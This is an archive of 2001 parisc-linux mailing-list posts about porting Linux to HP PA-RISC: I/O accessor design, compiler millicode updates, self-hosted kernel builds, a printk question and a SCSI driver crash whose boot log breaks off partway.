Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (read|write)[bwl]
Date: Thu, 1 Mar 2001 19:54:22 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20010301195422.B26100@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619923 16396 80.91.229.3 (22 Nov 2014 01:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 12:54:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 994704A19
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 12:54:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14YZ9a-00011R-00
	for parisc-linux@parisc-linux.org; Thu, 01 Mar 2001 19:54:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10430

right now we do rsm / foo / mtsm in order to read/write gsc space.
the rsm/mtsm turns off address translation.  this is cripplingly slow
on PA8x00 series processors.

proposal 1:

leave gsc_* macros alone.  people can continue to use these if they want.
they should be aware these are slow though.

stop aliasing (read,write)[bwl] to the gsc_* variants.  they should
just dereference the address passed to them.

write an ioremap() function which provides a logical map to that area
of address space.

proposal 2:

direct-map the entire 0xfxxx'xxxx address space into the kernel's address
space.  ioremap becomes a NOP, gsc_* go away and (read,write)[bwl] become
as trivial as before.

i suspect we want proposal 1 on PA1.1 and proposal 2 on PA2.0.  This leads
to proposal 3 which should allow modules to work for either architecture:

gsc_* stay as calls to _gsc_*, (read,write)[bwl] become the direct memory
dereferences.  ioremap is a function call.  On PA2.0, the gsc space is
permanently mapped, the ioremap function does nothing and _gsc_* don't
mess with the system mask.  On PA1.1, we construct page table entries
for the io area upon calls to ioremap, and _gsc_* still mess with the
system mask.

Suggestions?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Another 735 hums to life
Date: Thu, 01 Mar 2001 22:53:02 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3A9EC4BE.3F01E095@esiee.fr>
References: <Pine.LNX.4.21.0103010907390.7180-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619923 16536 80.91.229.3 (22 Nov 2014 01:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 15:06:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0C774A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Mar 2001 15:06:37 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA10761
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Mar 2001 15:01:43 -0700
Original-Received: (qmail 28323 invoked by uid 15267); 1 Mar 2001 22:05:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4744 invoked from network); 1 Mar 2001 21:52:59 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2001 21:52:59 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id BB6B0D15C5; Thu,  1 Mar 2001 22:52:57 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.72C-CCK-MCD Caldera Systems OpenLinux [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10431

Hi Greg and all,

> 55 meg root filesystem and it had a root password set.  I had to boot the
> old NFS-root fs so I could edit /etc/passwd on the new fs.  On the whole
> it's a big improvement.  I can use the compiler now.  Next I'm going to
> see if the C100 can compile its own kernel.

Thanks for the feedback :)
For the password, it is not a very original one: toto
Like that, every one knows! No more old nfs needed :)

Bye, Thomas
ESIEE Team




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AHA-2742AT: happy noises...
Date: Thu, 1 Mar 2001 23:36:10 +0100 (CET)
Lines: 26
Approved: news@gmane.org
Message-ID: <200103012236.XAA12319@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619923 16538 80.91.229.3 (22 Nov 2014 01:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 15:36:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maile.telia.com (maile.telia.com [194.22.190.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 400CE4A19
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 15:36:15 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t5o70p64.telia.com [195.67.239.64])
	by maile.telia.com (8.11.2/8.11.0) with ESMTP id f21MaCr09775
	for <parisc-linux@parisc-linux.org>; Thu, 1 Mar 2001 23:36:13 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA12319
	for parisc-linux@parisc-linux.org; Thu, 1 Mar 2001 23:36:10 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10432

How about this?

[...]
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
SCSI subsystem driver Revision: 1.00
aic7xxx_detect
(scsi0) <Adaptec AHA-274X SCSI host adapter> found at EISA slot 1
(scsi0) Twin Channel, A SCSI ID 7, B SCSI ID 7, 4/255 SCBs
aic7xxx: Couldn't get consistent shared memory for SCB
aic7xxx: Couldn't get consistent shared memory for FIFO
(scsi0) Downloading sequencer code... 426 instructions downloaded
c01bb940 (aic7xxx?) called request_irq with an invalid irq 11
(scsi0) Couldn't register IRQ 11, ignoring controller.
[...]

Darn, I want those WAX interrupts...

/Daniel
-- 






From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit issues
Date: Thu, 1 Mar 2001 23:37:15 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010301233715.D26100@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619924 16542 80.91.229.3 (22 Nov 2014 01:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 16:37:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7D1C4A19
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 16:37:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14YcdH-0005ER-00
	for parisc-linux@parisc-linux.org; Thu, 01 Mar 2001 23:37:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10433

I've been working on moving the bits from parisc64 across to parisc.
There's actually very little that needs to be moved.

In the process, I discovered several problems with parisc64 being out
of date.  One of them affects everyone who builds parisc64.  It wasn't
being compiled with the -mdisable-fpregs option, so it was using FP
code in the kernel, which is generally considered not a good idea.
But adding this requires gcc to call into $$mulI which wasn't part of our
64-bit libgcc.  Paul Bame's done this work, so now everyone compiling
64-bit will need a new compiler.  Matt Taggart's building one now and
you'll need to install it to build a 64-bit kernel.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit compiler millicode update
Date: Thu, 01 Mar 2001 17:33:07 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <E14YdVL-0000NE-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619924 16544 80.91.229.3 (22 Nov 2014 01:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 17:33:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 462D94A19
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 17:33:13 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id 3CA0457F
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 19:33:10 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id RAA28619
	for <parisc-linux@parisc-linux.org>; Thu, 1 Mar 2001 17:33:08 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14YdVL-0000NE-00
	for <parisc-linux@parisc-linux.org>; Thu, 01 Mar 2001 17:33:07 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10434

This affects people building 64-bit kernels after willy's (not yet
available) changes, whereupon the $$mulI millicode routine becomes
needed.

New cross compilers will soon be available, but if you just want to
get the millicode change and no others, replace your 64-bit libgcc.a
with [ftp|http]://puffin.external.hp.com/pub/parisc/binaries/libgcc.a.gz

	-P




From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: New XC available was Re: [parisc-linux] 64-bit compiler millicode 
 update
Date: Thu, 01 Mar 2001 18:26:31 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20010302012631.C62DB37CB2@carmen.fc.hp.com>
References: <E14YdVL-0000NE-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619924 16547 80.91.229.3 (22 Nov 2014 01:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 18:23:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FD1D4A19
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 18:23:59 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id BCE7A2A5
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 20:23:58 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id C62DB37CB2
	for <parisc-linux@parisc-linux.org>; Thu,  1 Mar 2001 18:26:31 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Paul Bame <bame@fc.hp.com> 
   of "Thu, 01 Mar 2001 17:33:07 MST." <E14YdVL-0000NE-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10435

Paul Bame writes...

> 
> This affects people building 64-bit kernels after willy's (not yet
> available) changes, whereupon the $$mulI millicode routine becomes
> needed.
> 
> New cross compilers will soon be available, but if you just want to
> get the millicode change and no others, replace your 64-bit libgcc.a
> with [ftp|http]://puffin.external.hp.com/pub/parisc/binaries/libgcc.a.gz

The full xc with this change and also the recent glibc changes is now 
available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010301.tar.gz

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux CVS partial cleanup
Date: Fri, 02 Mar 2001 10:50:13 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <E14Ytgz-0000x5-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619924 16550 80.91.229.3 (22 Nov 2014 01:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  2 10:50:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B2504A19
	for <parisc-linux@parisc-linux.org>; Fri,  2 Mar 2001 10:50:33 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id E1ECCC12
	for <parisc-linux@parisc-linux.org>; Fri,  2 Mar 2001 12:50:14 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id KAA21934
	for <parisc-linux@parisc-linux.org>; Fri, 2 Mar 2001 10:50:13 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14Ytgz-0000x5-00
	for <parisc-linux@parisc-linux.org>; Fri, 02 Mar 2001 10:50:13 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10436

Theoretically the vendor branch of Linux in CVS should match the upstream
tarballs from Linus.  I found there were lots of extra files on our
vendor branch due to older merges and
removed them from our vendor branch, which now diffs cleanly against
upstream.  If you grab old enough versions (prior to 2.4.0-test* perhaps)
it's possible you'll be missing some files because the removal I did
isn't time/tag-sequenced perfectly.  I can fix that for specific cases
if someone asks.

These changes are not visible on the main development branch, which is
as it should be.

		-P




From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 Self-Hosting
Date: Fri, 2 Mar 2001 13:48:36 -0600 (CST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103021230140.12009-100000@maestro.symsys.com>
References: <20010302012631.C62DB37CB2@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619925 16553 80.91.229.3 (22 Nov 2014 01:32:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  2 12:48:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32B684A19
	for <parisc-linux@parisc-linux.org>; Fri,  2 Mar 2001 12:48:37 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA12311
	for <parisc-linux@parisc-linux.org>; Fri, 2 Mar 2001 13:48:36 -0600
In-Reply-To: <20010302012631.C62DB37CB2@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10437

I tried to self-host on my C100 with the recent root filesystem from
ISIEE.  The first problem was I needed the CVS bins.  I grabbed the
sources from Debian and the build went without a hitch.  I've posted a
tarball of (I hope) all of the relevant bits here:

	http://www.symsys.com/~ingram/linux/parisc/cvs.tar.gz

I checked out the linux and palo sources, configured the kernel and made
dependancies.  I ran into the following problems with 'make palo':

1)  arch/parisc/Makefile specifies the cross-compiler

I guess most people are using the cross-compiler so maybe it should stay
that way for now.  Anyway, once I commented out that line the kernel build
took off.

2)  conflicting types for mem{cmp|cpy|set} built-ins 

Lots and lots of warnings.  Should I add -fno-builtin?

3)  conflicting types for off_t in <stdio.h> and "linux/types.h"

I was able to dodge this error by defining '__off_t_defined' right before
including <stdio.h> in palo/lib/elf32.c.

And now [ drumroll ] the build succeeds and the self-built kernel boots.  

Woohoo!

- Greg










From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New XC available was Re: [parisc-linux] 64-bit compiler millicode update
Date: Fri, 2 Mar 2001 20:10:08 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010302201008.G24088@parcelfarce.linux.theplanet.co.uk>
References: <E14YdVL-0000NE-00@noam.fc.hp.com> <bame@fc.hp.com> <20010302012631.C62DB37CB2@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619925 16554 80.91.229.3 (22 Nov 2014 01:32:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  2 13:13:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 323F34A19
	for <parisc-linux@parisc-linux.org>; Fri,  2 Mar 2001 13:13:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14YvsO-0000rX-00; Fri, 02 Mar 2001 20:10:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010302012631.C62DB37CB2@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Thu, Mar 01, 2001 at 06:26:31PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10438

On Thu, Mar 01, 2001 at 06:26:31PM -0700, Matt Taggart wrote:
> The full xc with this change and also the recent glibc changes is now 
> available at,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010301.tar.gz

There's something wrong with the compiler:

/opt/palinux/lib/gcc-lib/hppa-linux/2.97/tradcpp0: /lib/libc.so.6:
	version `GLIBC_2.2' not found (required by
	/opt/palinux/lib/gcc-lib/hppa-linux/2.97/tradcpp0)

we're trying to track it down.  in the meantime, use your current toolchain
and the libgcc.a from /opt/palinux/lib/gcc-lib/hppa64-linux/2.97/

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] confused about kernel printk behavior...
Date: Fri, 2 Mar 2001 19:08:48 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20010302190848.U27829@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619925 16556 80.91.229.3 (22 Nov 2014 01:32:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  2 19:10:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop3.phnx.uswest.net (phnxpop3.phnx.uswest.net [206.80.192.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 51FA94A19
	for <parisc-linux@parisc-linux.org>; Fri,  2 Mar 2001 19:10:20 -0700 (MST)
Original-Received: (qmail 23599 invoked by uid 0); 3 Mar 2001 02:10:15 -0000
Original-Received: from dslpppc178.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.148.178)
  by phnxpop3.phnx.uswest.net with SMTP; 3 Mar 2001 02:10:15 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14Z1TU-0008JV-00; Fri, 02 Mar 2001 19:08:48 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10439

I have a function like this in a char driver:

static ssize_t stabledev_read(struct file *file, char *buf, size_t count,
	loff_t *ppos)
{
	char *kbuf;
	unsigned int size = 0;

	printk("stabledev_read: pos = %ld, count = %d\n", *ppos, count);
	printk("stabledev_read: pos = %ld\n", *ppos);
	printk("stabledev_read: count = %d\n", count);
	/* ... */
}

for some reason, the output i get from the above is:
stabledev_read: pos = 20536, count = 0
stabledev_read: pos = 1
stabledev_read: count = 4096

why is that?  this is a 32-bit kernel built using xc-20010215

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sym53c8xx driver with 64-bit kernel on C200.
Date: Sat, 03 Mar 2001 20:45:03 -0700
Lines: 180
Approved: news@gmane.org
Message-ID: <3AA1BA3F.A7C79E31@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619926 16557 80.91.229.3 (22 Nov 2014 01:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  3 20:45:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id D83E54A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Mar 2001 20:45:13 -0700 (MST)
Original-Received: (qmail 53822 invoked by alias); 4 Mar 2001 03:45:04 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 53806 invoked by uid 0); 4 Mar 2001 03:45:03 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 4 Mar 2001 03:45:03 -0000
Original-Sender: rbrad@dsl2.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10440

Hello parisc-linux hackers,

I have been working on writing the PDC Translation functions so a 64-bit

kernel will run using 32-bit firmware.  I believe I have this done, and
I
am trying to verify my work by actually booting my C200 with a 64-bit
kernel.  Currently I am stuck in the sym53c8xx driver with a HPMC that
I am unable to debug and was hopeing someone on this list could provide
some insight, help debugging, etc.

I have located the single command that causes the HPMC in the
ncr_snooptest function.

This is the scsi boot output:

SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
sym53c8xx: 53c875 detected
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 195
sym53c875-0: NCR clock is 40401KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xfffffffff2ffe000

 /*
 ** Start script (exchange values)
 */
 OUTL (nc_dsa, np->p_ncb);
 OUTL (nc_dsp, pc);         <-- This line of code causes the HPMC
 /*
 ** Wait 'til done (with timeout)
 */
 for (i=0; i<NCR_SNOOP_TIMEOUT; i++)
  if (INB(nc_istat) & (INTF|SIP|DIP))
   break;
 /*

When I run OUTL(nc_dsp,pc) through the preprocessor the statement gets
expanded into this:

_gsc_writel(((__builtin_constant_p((__u32)((((pc))))) ? ({ __u32 __x =
(((((pc))))); ((__u32)( (((__u32)(__x) & (__u32)0x000000ffUL) << 24) |
(((__u32)(__x) & (__u32)0x0000ff00UL) << 8) | (((__u32)(__x) &
(__u32)0x00ff0000UL) >> 8) | (((__u32)(__x) & (__u32)0xff000000UL) >>
24) )); }) : __fswab32(((((pc))))))),(void *)((char *)np->reg +
(((size_t) &((struct ncr_reg *)0)->nc_dsp))));

The chassis codes for this HPMC are:
    0xcbf0          HPMC Occurred
    0x5002         Path Error: Processor 0
    0x7d03         Memory MSI read timeout
    0x5402         Path Error: IOA0
    0x5508         Broadcast Error: IOA1
    0xcbf4          Invalid HPMC checksum
    0xcbfc           PDCE_HPMC proccessing complete, but failed to branc
to OS_HPMC, halt this CPU

If I comment out that specific line of code, the cache test will fail,
but the boot process continues.
Here is the scsi output with the OUTL(nc_dsp,pc) commented out:

SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
sym53c8xx: 53c875 detected
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 195
sym53c875-0: NCR clock is 40401KHz
